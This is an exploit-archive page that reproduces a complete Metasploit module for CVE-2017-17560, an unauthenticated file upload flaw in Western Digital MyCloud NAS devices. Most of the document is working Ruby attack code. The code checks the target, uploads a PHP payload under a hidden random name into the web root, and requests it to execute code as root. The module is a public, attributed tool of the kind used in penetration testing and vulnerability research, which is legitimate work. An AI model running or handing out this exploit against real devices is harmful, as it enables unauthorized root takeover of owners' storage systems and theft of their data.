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Western Digital MyCloud multi_uploadify File Upload

Western Digital MyCloud multi_uploadify File Upload
Posted Dec 15, 2017
Authored by Zenofex | Site metasploit.com

This Metasploit module exploits a file upload vulnerability found in Western Digital's MyCloud NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php PHP script provides multipart upload functionality that is accessible without authentication and can be used to place a file anywhere on the device's file system. This allows an attacker the ability to upload a PHP shell onto the device and obtain arbitrary code execution as root.

tags | exploit, web, arbitrary, shell, root, php, code execution, file upload
advisories | CVE-2017-17560
SHA-256 | 33807dc92c51e0890223cb5aa8b949a564e99406df84abf4910ba71ac13c7512

Western Digital MyCloud multi_uploadify File Upload

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :method => 'HEAD', :uri => '/web/', :pattern => [/Apache/] }

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => 'Western Digital MyCloud multi_uploadify File Upload Vulnerability',
'Description' => %q{
This module exploits a file upload vulnerability found in Western Digital's MyCloud
NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php
PHP script provides multipart upload functionality that is accessible without authentication
and can be used to place a file anywhere on the device's file system. This allows an
attacker the ability to upload a PHP shell onto the device and obtain arbitrary code
execution as root.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Zenofex <zenofex[at]exploitee.rs>' # Initial vulnerability discovery, PoC, and Metasploit module
],
'References' =>
[
['URL', 'https://www.exploitee.rs/index.php/Western_Digital_MyCloud#.2Fjquery.2Fuploader.2Fmulti_uploadify.php_.28added_08.2F06.2F2017.29'],
['URL', 'https://download.exploitee.rs/file/generic/Exploiteers-DEFCON25.pdf'],
['URL', 'https://www.youtube.com/watch?v=EO_49pfmA5A'],
['CVE', '2017-17560']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => true,
'DisclosureDate' => 'Jul 29 2017',
'DefaultTarget' => 0))
end

def check
res = send_request_cgi('uri' => '/web/jquery/uploader/multi_uploadify.php')

if res.nil?
vprint_error('Connection failed')
return CheckCode::Unknown
end

if res.code == 302 && res.headers['Location'] =~ /\?status=1/
return CheckCode::Vulnerable
end

CheckCode::Safe
end

def upload(web_folder, fname, file)
# construct post data
data = Rex::MIME::Message.new
data.add_part(file, 'application/x-php', nil, "form-data; name=\"Filedata[]\"; filename=\"#{fname}\"")

# upload
res = send_request_cgi({
'method' => 'POST',
'uri' => '/web/jquery/uploader/multi_uploadify.php',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'vars_get' => {
'folder' => web_folder
}
})
end

def exploit
if check != CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, 'Target does not appear to be a vulnerable Western Digital MyCloud device')
end

# upload PHP payload to '/var/www' (webroot).
web_folder = '/var/www'
php = "<?php #{payload.encoded} ?>"
print_status("Uploading PHP payload (#{php.length} bytes) to '#{web_folder}'.")
fname = ".#{rand_text_alphanumeric(rand(10) + 6)}.php"

res = upload(web_folder, fname, php)

# check upload response
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
if res.code != 302 || res.headers['Location'] =~ /\?status=0/
fail_with(Failure::UnexpectedReply, "Unexpected reply (#{res.body.length} bytes)")
end
print_good('Uploaded PHP payload successfully.')

# register uploaded php payload file for cleanup
register_files_for_cleanup(fname)

# retrieve and execute PHP payload
print_status("Making request for '/#{fname}' to execute payload.")
res = send_request_cgi({'uri' => normalize_uri(fname)}, 15)
end

end
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